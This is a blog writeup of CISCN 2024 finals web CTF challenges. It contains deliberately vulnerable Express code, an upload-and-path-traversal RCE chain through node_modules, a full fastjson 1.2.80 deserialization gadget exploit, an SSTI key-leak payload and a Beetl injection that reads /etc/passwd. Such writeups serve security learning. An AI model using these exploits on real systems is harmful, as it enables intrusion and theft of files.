首页 > 其他分享 >2024Ciscn总决赛Web Writeup

2024Ciscn总决赛Web Writeup

时间:2024-10-21 20:31:31浏览次数:6  
标签:Web return name res req 2024Ciscn file Writeup const

前言

鸽了三个月的复现计划:)

ezjs

考点是express引擎解析的一个trick,在高版本的express已经修复,先贴源码

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
    const dirname = path.dirname(filePath);

    fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
    if (req.session.user!=null){
        next()
    }else {
        res.redirect('/login')
    }
}

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        // 直接使用原始文件名
        cb(null, file.originalname);
    }
});

// 配置 multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

admin={
    "username":"ADMIN",
    "password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
    secret: 'Can_U_hack_me???',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',(req,res)=>{
    res.redirect('/login')
})

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username === 'admin'){
        return res.status(400).send('you can not be admin');
    }
    const new_username = username.toUpperCase()

    if (new_username === admin.username && password === admin.password) {
        req.session.user = "ADMIN";
        res.redirect('/rename');
    } else {
        // res.redirect('/login');
    }
});

app.get('/upload', (req, res) => {
    res.render('upload');
});

app.post('/upload', upload.single('fileInput'), (req, res) => {
    if (!req.file) {
        return res.status(400).send('No file uploaded');
    }
    const fileExt = path.extname(req.file.originalname).toLowerCase();

    if (fileExt === '.ejs') {
        return res.status(400).send('Upload of .ejs files is not allowed');
    }
    res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render',(req, res) => {
    const { filename } = req.query;

    if (!filename) {
        return res.status(400).send('Filename parameter is required');
    }

    const filePath = path.join(__dirname, 'uploads', filename);

    if (filePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }

    res.render(filePath);
});

app.get('/rename',IfLogin, (req, res) => {

    if (req.session.user !== 'ADMIN') {
        return res.status(403).send('Access forbidden');
    }

    const { oldPath , newPath } = req.query;
    if (!oldPath || !newPath) {
        return res.status(400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
        return res.status(400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/i.test(oldPath)) {
        return res.status(400).send('Invalid file name');
    }
    const new_file = newPath.toLowerCase();

    const oldFilePath = path.join(__dirname, 'uploads', oldPath);
    const newFilePath = path.join(__dirname, 'uploads', new_file);

    if (newFilePath.endsWith('.ejs')){
        return res.status(400).send('Invalid file type.');
    }
    if (!oldPath) {
        return res.status(400).send('oldPath parameter is required');
    }

    if (!fs.existsSync(oldFilePath)) {
        return res.status(404).send('Old file not found');
    }

    if (fs.existsSync(newFilePath)) {
        return res.status(409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    fs.rename(oldFilePath, newFilePath, (err) => {
        if (err) {
            console.error('Error renaming file:', err);
            return res.status(500).send('Error renaming file');
        }

        res.send('File renamed successfully');
    });
});

app.listen('3000', () => {
    console.log(`http://localhost:3000`)
})

当我们传入的filename没有后缀的时候,render会自动加入默认设置的.ejs,当我们传入的filename有后缀时,会取最后一个后缀进行require,假设filename=1.js.abc,那么就会require('abc'),为什么会这样,我们追踪下源码,res.render处打个断点

image

view在没cache的情况下view变量默认是空的,就会在此处调用一个View(),而且当这个函数结束的时候,他会继续走一个tryRender函数,看View函数内容

function View(name, options) {
  var opts = options || {};

  this.defaultEngine = opts.defaultEngine;
  this.ext = extname(name);
  this.name = name;
  this.root = opts.root;

  if (!this.ext && !this.defaultEngine) {
    throw new Error('No default engine was specified and no extension was provided.');
  }

  var fileName = name;

  if (!this.ext) {
    // get extension from default engine name
    this.ext = this.defaultEngine[0] !== '.'
      ? '.' + this.defaultEngine
      : this.defaultEngine;

    fileName += this.ext;
  }

  if (!opts.engines[this.ext]) {
    // load engine
    var mod = this.ext.slice(1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn
  }

  // store loaded engine
  this.engine = opts.engines[this.ext];

  // lookup path
  this.path = this.lookup(fileName);
}

重点在这

image

this.ext是我们传入的最后一个后缀,去掉.传给了mod,然后被require,require默认是读取node_modules中的index.js,假设这里mod是js,那么就会require node_modules/js/index.js,也就是说我们能控制node_modules下的文件内容的话就能rce了,刚好这里的rename可以实现目录穿越写入node_modules中,我们先随便上传个index.js,内容为:

const p = require('child_process')
p.exec("calc")

然后rename?oldPath=index.js&newPath=../node_modules/F12/index.js
rce:render?filename=1.F12
fix也很简单,把.js加入黑名单就行

solon_master

考察的是fastjson原生反序列化,fastjson1.2.80,得绕autoType,先看反序列化入口:

image

重写了resolveClass,最外层得是User类,并且不能使用BadAttributeValueExpException,这个好说,我们看User类

public class User implements Serializable {
   public String name;
   public Map info;

   public User() {
   }

   public Map getInfo() {
      System.out.println("getInfo");
      return this.info;
   }

   public void setInfo(Map info) {
      this.info = info;
   }

   public String getName() {
      System.out.println("getName");
      return this.name;
   }

   public void setName(String name) {
      this.name = name;
   }

   public User(String name) {
      this.name = name;
   }
}

User类中有个属性是Map,我们把这个Map设置成恶意的序列化数据就行了,那么就考虑从HashMap开始往后的利用链,这里选择HashMap#readObject->JSONArray#toString->getter,编写exp:

package com.example.demo;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\untitled\\target\\classes\\com\\example\\demo\\calc.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        ArrayList arrayList = new ArrayList();
        arrayList.add(templates);
        JSONArray toStringBean = new JSONArray(arrayList);
        // GetterClass#getName is called
        HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(toStringBean);
        User user = new User();
        user.setName("F12");
        user.setInfo(hashMap);
        // 这里是为了绕fastjson自己的resolveClass,让其走TC_REFERENCE,就不会走它的resolveClass,也就不会触发autoType
        HashMap hashMap1 = new HashMap();
        hashMap.put(templates,user);
        System.out.println(Base64.getEncoder().encodeToString(ser(user)));
    }
    public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
        Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        tHashMap1.put(toStringClass, "123");
        tHashMap2.put(toStringClass, "12");
        setFieldValue(tHashMap1, "loadFactor", 1);
        setFieldValue(tHashMap2, "loadFactor", 1);
        HashMap hashMap = new HashMap();
        hashMap.put(tHashMap1,"1");
        hashMap.put(tHashMap2,"1");
        tHashMap1.put(toStringClass, null);
        tHashMap2.put(toStringClass, null);
        return hashMap;
    }
    public static Object getObjectByUnsafe(Class clazz) throws Exception{
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        return unsafe.allocateInstance(clazz);
    }
    public static void setFieldValue(Object obj, String key, Object val) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while (true){
            try {
                field = clazz.getDeclaredField(key);
                break;
            } catch (NoSuchFieldException e){
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        field.set(obj, val);
    }
    public static byte[] ser(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static void unser(byte[] exp) throws ClassNotFoundException, IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(exp);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

关于如何绕fastjson的resolveClass,可以参考https://blog.csdn.net/YakProject/article/details/131291768

ShardCard

使用了沙箱的SSTI,跟R3CTF的NinjaClub有些类似,Info类继承了BaseModel,理论上可以打pickle反序列化,但是本地环境测试好像把parse_raw给拉黑了,那么只能换一种打法,只要读取rsakey,我们就可以伪造token,改变avatar的值来任意读取文件,丢个payload在这:
{{info.__class__.parse_avatar.__globals__.rsakey}},本地读出来nm地址,不玩了,就这样吧

Fobee

beetl模板注入,首先绕username=admin拿到密码,这个很简单,unicode编码就行,/render里使用了BeetlKit.render,这里存在注入,不过有黑名单,如下:

pkgName = name.substring(0, i);
                className = name.substring(i + 1);
                if (pkgName.startsWith("java.lang.reflect")) {
                    return false;
                } else if (!pkgName.startsWith("java.lang")) {
                    if (pkgName.startsWith("java.beans")) {
                        return false;
                    } else if (pkgName.startsWith("org.beetl")) {
                        return false;
                    } else if (pkgName.startsWith("javax.")) {
                        return false;
                    } else {
                        return !pkgName.startsWith("sun.");
                    }
                } else {
                    return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");
                }

听说CVE-2024-22533可以代码执行,不过自己摸索没复现出来,这里写一个读取文件的写法,exp如下:

${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("/etc/passwd","")))}

有复现出的师傅麻烦教教我:)

标签:Web,return,name,res,req,2024Ciscn,file,Writeup,const
From: https://www.cnblogs.com/F12-blog/p/18324587

相关文章

  • ctfshow-web入门-信息搜集(14)
    1.根据提示:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人2.我们直接在url后面添加/editor,在flash上传空间里面找到文件空间,爆出了一堆目录3.最终我们在var/www/html/nothinghere/fl000g.txt这个路径找的到了flag,我们在url后面添加nothinghere/fl000g.......
  • JavaWeb:实验二JSP表单开发及访问数据库
    实现注册与登录功能:1.创建一个数据库,在数据库建立用户表。2.制作一个注册表单,可以输入账户和密码并提交(在数据提交之前用JS对表单数据进行有效性验证),将表单提交的数据写入数据库。3.制作一个登录表单,输入账号和密码,通过数据库进行验证,如果账号、密码验证通过,则显示“登录成功”......
  • ctfshow-web入门-信息搜集(16)
    1.根据题目提示:考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。url后缀名添加/tz.php版本是雅黑PHP探针,然后查看phpinfo搜索flag2.在url后面添加上/tz.php3.点击PHPIN......
  • 0xgame Re wk1 writeup
    Oct6下午刚到北京的我又来水了0xgameRewk1writeupBabyBaseIDAPro打开,找到encode方法,裸的base64。BinaryMaster这标题以为是在暗示二进制,结果跟二进制一点关系都没有。运行程序,将八进制转化为十六进制数并输入即可获得flag,也可以直接用IDAPro打开来找。盐豆不带盐的......
  • 0xgame re wk2 writeup
    0xgamerewk2wpFirstSight-Pyc直接在线反编译。#!/usr/bin/envpython#visithttps://tool.lu/pyc/formoreinformation#Version:Python3.8importhashlibuser_input=input('请输入神秘代号:')ifuser_input!='Ciallo~':print('代号不是这个哦&#......
  • JavaWeb:实验一JSP运行环境安装及配置
    **制作一个静态网站的基本页面index.html,要求如下:1.页面布局采用框架实现,页面布局及样式如图1所示。**2.在页面的A部分显示显示“登录”和“注册”链接。单击“登录”链接,在C部分显示登录页面,登录页面包含一个HTML表单,页面参考样式如图2所示;单击“注册”链接,在C部分显示注册页面......
  • webpack入门一篇
    1、webpack生命周期Webpack构建过程是生命周期的概念,主要包括以下几个阶段:1.1:初始化从配置文件和shellarguments读取参数,初始化Compiler对象。根据配置文件中的entry,确定构建的入口文件。1.2:配置解析配置文件,合并shellarguments和plugin定义的默认配置,得到最终配置。......
  • 【JS逆向百例】某赚网 WebSocket 套 Webpack 逆向分析
    声明本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作......
  • 探索ArkWeb的奥秘:架构了解与生命周期管理
    本文旨在深入探讨华为鸿蒙HarmonyOSNext系统(截止目前API12)的技术细节,基于实际开发实践进行总结。主要作为技术分享与交流载体,难免错漏,欢迎各位同仁提出宝贵意见和问题,以便共同进步。本文为原创内容,任何形式的转载必须注明出处及原作者。ArkWeb(方舟Web)是华为鸿蒙Harmon......
  • 位置、Cookie、缓存:华为鸿蒙 ArkWeb 数据管理全攻略
    本文旨在深入探讨华为鸿蒙HarmonyOSNext系统(截止目前API12)的技术细节,基于实际开发实践进行总结。主要作为技术分享与交流载体,难免错漏,欢迎各位同仁提出宝贵意见和问题,以便共同进步。本文为原创内容,任何形式的转载必须注明出处及原作者。引言ArkWeb是华为鸿蒙系统提......